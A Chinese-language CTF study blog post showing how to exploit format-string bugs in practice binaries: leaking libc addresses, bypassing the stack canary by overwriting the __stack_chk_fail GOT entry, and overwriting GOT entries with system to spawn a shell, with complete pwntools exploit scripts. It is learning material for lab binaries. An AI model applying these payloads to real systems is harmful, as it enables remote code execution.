格式化字符串绕过canary

格式化字符串%35$x以4字节为单位也就是说这里输出的是从0开始的35*4=140字节处的4字节的值。
进入正题。题目链接https://pan.baidu.com/s/12EGc5oyzI6PmjPRoCgyhEA

unsigned int sub_80485CD()
{
  char v1; // [esp+1Bh] [ebp-4Dh]
  char buf; // [esp+1Ch] [ebp-4Ch]
  unsigned int v3; // [esp+5Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(&buf, 0, 0x40u);
  while ( 1 )
  {
    puts("WANT PLAY[Y/N]");
    if ( getchar() != 'Y' )
      break;
    v1 = getchar();
    while ( v1 != 10 && v1 )
      ;
    puts("GET YOUR NAME:\n");
    read(0, &buf, 0x40u);
    LOBYTE(v3) = 0;
    puts("WELCOME ");
    printf(&buf);
    puts("GET YOUR AGE:\n");
    read(0, &buf, 0x40u);
    if ( atoi(&buf) > 60 )
      puts("OLD MEN!\n");
  }
  return __readgsdword(0x14u) ^ v3;
}

格式化字符串漏洞
思路:用格式化字符串漏洞泄露运行的函数,计算出来system,/bin/sh的真实地址。用格式化字符串漏洞写入数据到返回地址。
1.泄露什么函数?
调试程序运行到printf函数处这时候栈里面的内容是这些

gdb-peda$ stack 100
0000| 0xffffd460 --> 0xffffd47c ("%35$x\n")
0004| 0xffffd464 --> 0xffffd47c ("%35$x\n")
0008| 0xffffd468 --> 0x40 ('@')
0012| 0xffffd46c --> 0xf7e38221 (<setbuffer+209>:       add    esp,0x10)
0016| 0xffffd470 --> 0xf7fa8ce0 --> 0xfbad2087 
0020| 0xffffd474 --> 0x0 
0024| 0xffffd478 --> 0xa000000 ('')
0028| 0xffffd47c ("%35$x\n")
0032| 0xffffd480 --> 0xa78 ('x\n')
0036| 0xffffd484 --> 0x0 
0040| 0xffffd488 --> 0x0 
0044| 0xffffd48c --> 0x0 
0048| 0xffffd490 --> 0x0 
0052| 0xffffd494 --> 0x0 
0056| 0xffffd498 --> 0x0 
0060| 0xffffd49c --> 0x0 
0064| 0xffffd4a0 --> 0x0 
0068| 0xffffd4a4 --> 0x0 
0072| 0xffffd4a8 --> 0x0 
0076| 0xffffd4ac --> 0x0 
0080| 0xffffd4b0 --> 0x0 
0084| 0xffffd4b4 --> 0x0 
0088| 0xffffd4b8 --> 0x0 
0092| 0xffffd4bc --> 0x28d87300 
0096| 0xffffd4c0 --> 0x0 
--More--(25/100)
0100| 0xffffd4c4 --> 0x0 
0104| 0xffffd4c8 --> 0xffffd4e8 --> 0x0 
0108| 0xffffd4cc --> 0x804871d (mov    eax,0x0)
0112| 0xffffd4d0 --> 0xf7fa8ce0 --> 0xfbad2087 
0116| 0xffffd4d4 --> 0x0 
0120| 0xffffd4d8 --> 0x804873b (add    ebx,0x18c5)
0124| 0xffffd4dc --> 0x0 
0128| 0xffffd4e0 --> 0xf7fa8000 --> 0x1d7d6c 
0132| 0xffffd4e4 --> 0xf7fa8000 --> 0x1d7d6c 
0136| 0xffffd4e8 --> 0x0 
0140| 0xffffd4ec --> 0xf7de8e81 (<__libc_start_main+241>:       add    esp,0x10)
0144| 0xffffd4f0 --> 0x1 
0148| 0xffffd4f4 --> 0xffffd584 --> 0xffffd6d0 ("/home/liu/桌面/集训/暑假/PWN/middle2/pwne")
0152| 0xffffd4f8 --> 0xffffd58c --> 0xffffd700 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0156| 0xffffd4fc --> 0xffffd514 --> 0x0 
0160| 0xffffd500 --> 0x1 
0164| 0xffffd504 --> 0x0 
0168| 0xffffd508 --> 0xf7fa8000 --> 0x1d7d6c 
0172| 0xffffd50c --> 0xf7fe575a (add    edi,0x178a6)
0176| 0xffffd510 --> 0xf7ffd000 --> 0x26f34 
0180| 0xffffd514 --> 0x0 
0184| 0xffffd518 --> 0xf7fa8000 --> 0x1d7d6c 
0188| 0xffffd51c --> 0x0 
0192| 0xffffd520 --> 0x0 
0196| 0xffffd524 --> 0xf968348 

这里用到了系统函数,泄露出来它就行

0140| 0xffffd4ec --> 0xf7de8e81 (<__libc_start_main+241>:       add    esp,0x10)

(140/4=35也就是说)
泄露exp

from pwn import *
#context.log_level='debug'
p=process("./pwne")
libc=ELF("libc.so.6.me")
#libc=ELF("libc.so.6")

##############leak function
p.recvuntil("WANT PLAY[Y/N]")
p.sendline("Y")
p.recvuntil("YOUR NAME:\n")
p.sendline("%35$x")
p.recvuntil("WELCOME \n")
libc_start_main=int(p.recv(10)[:-1],16)-241
print "libc_start_main="+hex(libc_start_main)

##################get system,/bin/sh#################
system_addr=libc_start_main-libc.symbols["__libc_start_main"]+libc.symbols["system"]
bin_sh_addr=libc_start_main-libc.symbols["__libc_start_main"]+next(libc.search("/bin/sh"))
print "system_addr="+hex(system_addr)
print "bin_sh_addr="+hex(bin_sh_addr)

raw_input()

可以用attach检验一下。

printf("%2$c,%1$c\n", 'B', 'A');       //$表示使用第几个参数,输出A,B

printf("%88c%n\n", 'A', buff);         //打印88个字符,前面用空格填充,
                                       //最后一个是'A',同时*(int *)buff=88printf("%1024c%23$hn\n");              //带有攻击性的做法,第01个参数对用%c,
                                       //具体是什么不关心,目标是是把第23个参数
                                       //指向的内存的前2个字节赋值为1024printf("%*c%hn\n", 0x1234, 'A', buff); //打印0x1234个字符,前面用空格填充,
                                       //最后一个是'A',同时*(short *)buff = 0x1234
上面这行代码具体说明一下:

%*c 打印0x1234个字符,前面用空格填充,最后一个是'A'
%hn 把前面打印的字符数(0x1024)输出到buff指向的2个字节
%ln 把前面打印的字符数(0x1024)输出到buff指向的4个字节
%n 把前面打印的字符数(0x1024)输出到buff指向的4个字节

格式化字符串实现劫持程序执行流一般是复写got表,got表是一个指针数组每个指针指向对应的函数。
格式化组字符串中的%0x4040c%14$hn是把数据0x4040写入到从printf函数调用的时候的栈顶开始向后以4字节为单位的14个字节位置处指向的内容处。
所以这里只需要把got表放到指定位置处程序会向got表里面写入数据。
这里写图片描述

贴出利用exp

#开启了canary保护,canary能被触发,没有system函数和/bin.sh
#G:\pwn例题\pprintf
from pwn import *
import sys
context.arch='i386'
#context.log_level='debug'
elf=ELF("pprintf")
check_fail_plt=elf.got["__stack_chk_fail"]
fmt_string=fmtstr_payload(4,{check_fail_plt : 0x0804857B},write_size='byte').replace('$h','$+h')
print repr(fmt_string)
p=process("./pprintf")
p.recvuntil("INPUT :")
p.sendline(fmt_string.ljust(1022))#This is 1032?
p.recvuntil("INPUT :")
p.sendline((p32(elf.got['printf'])+"%4$s").ljust(1022))
p.recvuntil("RESP :")
p.recv(4)
printf_addr=u32(p.recv(4))
print 'printf='+hex(printf_addr)

libc=ELF("libc6_2.19-0ubuntu6.14_i386.so")

system_addr=printf_addr-libc.symbols["printf"]+libc.symbols["system"]
fmt_string=fmtstr_payload(4,{elf.got["strstr"]:system_addr},write_size='byte').replace('$h',"$+h")
print repr(fmt_string)

p.sendline(fmt_string.ljust(1022))
p.recvuntil("INPUT :")
p.sendline("//bin/sh")
p.recvline()
p.interactive()

复写got表这里有一点不懂,str((system_addr >> 16) - (system_addr & 0xffff))这里为什么要减一下,等搞懂了再补上吧。
其实格式化字符串大家一般都是用自动生成的函数。

payload=fmtstr_payload(7,{elf.got["atoi"] : system_addr},write_size='byte')

fmtstr_payload第一个参数是偏移,从调用printf函数的时候的栈顶到输入数据的距离以四字节为单位的值。生成的字符串能够实现复写atoi函数的got表用system_addr。

到这里学习了三种格式化字符串的利用姿势。
1.泄露canary
2.直接复写got表
3.复写check_failed函数的got表

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/81319731